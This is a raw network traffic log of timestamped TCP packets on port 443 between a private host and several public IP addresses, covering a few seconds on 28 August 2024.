Aug 28, 2024 15:08:20.439903021 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.440071106 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.440094948 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.440109968 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.440114975 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.440165043 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.440170050 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.442214012 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442250967 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442276001 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442297935 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.442310095 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442322016 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.442361116 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442384005 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442409039 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442425013 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.442430019 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.442446947 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.443321943 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.443367958 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.443414927 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.443422079 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.444969893 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.446613073 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.446662903 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.446691036 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.446722031 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.446746111 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.446778059 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.446788073 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.446800947 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.446835041 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.447093010 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.447746992 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.447810888 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.447837114 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.447841883 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.447911978 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.447916985 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.495270967 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.495284081 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.495330095 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.516897917 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.516938925 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.516966105 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.516978979 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.516988039 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.517047882 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.517061949 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.517112970 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.517337084 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.517354965 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.517904997 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.517990112 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518064022 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518090010 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518110991 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.518114090 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518143892 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518161058 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.518878937 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518904924 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518929005 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518930912 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.518944979 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.518958092 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.518982887 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.519344091 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.519385099 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.519459963 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.519469023 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.519634962 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.519659042 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.519686937 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.519699097 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.519732952 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.520167112 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.520196915 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.520240068 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.520247936 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.520284891 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.520309925 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.520344973 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.520353079 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.520385981 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.521020889 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.524363995 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.524444103 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.524476051 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.524508953 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.524549961 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.524578094 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.525125027 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.525163889 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.525219917 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.525237083 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.525291920 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.525305033 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.526015997 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.526067972 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.526125908 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.526139021 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.526173115 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.526222944 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.526235104 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.526292086 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.526901960 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.528601885 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.528670073 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.528703928 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.528757095 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.528774023 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.528912067 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.528943062 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.528956890 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.528970957 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.529000044 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.529019117 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.529068947 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.529081106 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.529894114 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.529930115 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.529958010 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.529987097 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.530008078 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.530015945 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.530025959 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.530033112 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.530060053 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.530893087 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.530951977 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.530963898 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.531004906 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.531034946 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.531064034 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.531075954 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.531462908 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.531758070 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.531812906 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.531842947 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.531892061 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.531904936 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.532241106 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.532258987 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.532284021 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.532294989 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.532340050 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.532365084 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.532398939 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.532411098 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.532799959 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.533173084 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.533283949 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.533315897 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.533344030 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.533361912 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.533394098 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.533421993 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.537113905 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537153006 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537183046 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537185907 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.537194014 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537234068 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.537288904 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537322998 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537347078 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.537353039 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537383080 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537405968 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.537444115 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.537444115 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.537450075 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.538244963 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.538284063 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.538314104 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.538326025 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.538330078 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.538362026 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.538387060 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.538393021 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.538407087 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.539164066 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.539205074 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.539207935 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.539217949 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.539263010 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.539268017 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.539295912 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.539326906 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.539412975 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.539418936 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.539762020 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.540028095 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.581993103 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.582022905 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.582050085 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.582190990 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.582190990 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.582211018 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.604898930 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.604933977 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.604979038 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.604995012 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.605026007 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.605041981 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.605046034 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.605092049 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.605307102 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.605321884 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.605345964 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.605377913 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.606051922 CEST	49675	443	192.168.2.5	23.1.237.91
Aug 28, 2024 15:08:20.606065989 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.606081009 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.615468025 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.615586042 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.615654945 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.616501093 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.616518021 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.616641045 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.616667032 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.616689920 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.616707087 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.616714954 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.616739988 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.617239952 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.617264986 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.617304087 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.617307901 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.617789984 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.617862940 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.617870092 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.617896080 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.617933989 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.617965937 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.617969990 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.618074894 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.619314909 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.619324923 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.627715111 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.627768993 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.627827883 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.627836943 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.627872944 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.627892017 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.627934933 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.627934933 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.627942085 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.628000021 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.628051043 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.628056049 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.628117085 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.628560066 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.628567934 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.628607035 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.628629923 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.628719091 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.629142046 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.629213095 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.629235983 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.629297018 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.629832983 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.629899979 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.630098104 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.630126953 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.630139112 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.630146027 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.630194902 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.630232096 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.630232096 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.630490065 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.630498886 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.694958925 CEST	49674	443	192.168.2.5	23.1.237.91
Aug 28, 2024 15:08:20.710289001 CEST	49673	443	192.168.2.5	23.1.237.91
Aug 28, 2024 15:08:22.389333010 CEST	443	49703	23.1.237.91	192.168.2.5
Aug 28, 2024 15:08:22.389414072 CEST	49703	443	192.168.2.5	23.1.237.91
Aug 28, 2024 15:08:23.044827938 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:23.044872046 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:23.044926882 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:23.045149088 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:23.045159101 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:23.704498053 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:23.704746962 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:23.704766989 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:23.705801010 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:23.705862999 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:23.708414078 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:23.708492994 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:23.899501085 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:23.899540901 CEST	443	49731	172.217.23.100	192.168.2.5
Aug 28, 2024 15:08:24.087326050 CEST	49731	443	192.168.2.5	172.217.23.100
Aug 28, 2024 15:08:24.327404976 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:24.327456951 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:24.327512980 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:24.331403017 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:24.331423044 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:24.970299006 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:24.970377922 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:24.976502895 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:24.976530075 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:24.976758003 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:25.019984007 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.026912928 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.072500944 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:25.407217026 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:25.407411098 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.407433033 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:25.407444000 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.407578945 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:25.407612085 CEST	443	49734	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:25.407655001 CEST	49734	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.452593088 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.452629089 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:25.452696085 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.453035116 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:25.453046083 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:26.087867975 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:26.087934017 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:26.132736921 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:26.132759094 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:26.133152962 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:26.136895895 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:26.184492111 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:26.364078999 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:26.364151001 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:26.364214897 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:26.374090910 CEST	49735	443	192.168.2.5	184.28.90.27
Aug 28, 2024 15:08:26.374109030 CEST	443	49735	184.28.90.27	192.168.2.5
Aug 28, 2024 15:08:31.442508936 CEST	49737	443	192.168.2.5	13.85.23.86
Aug 28, 2024 15:08:31.442552090 CEST	443	49737	13.85.23.86	192.168.2.5
Aug 28, 2024 15:08:31.442928076 CEST	49737	443	192.168.2.5	13.85.23.86
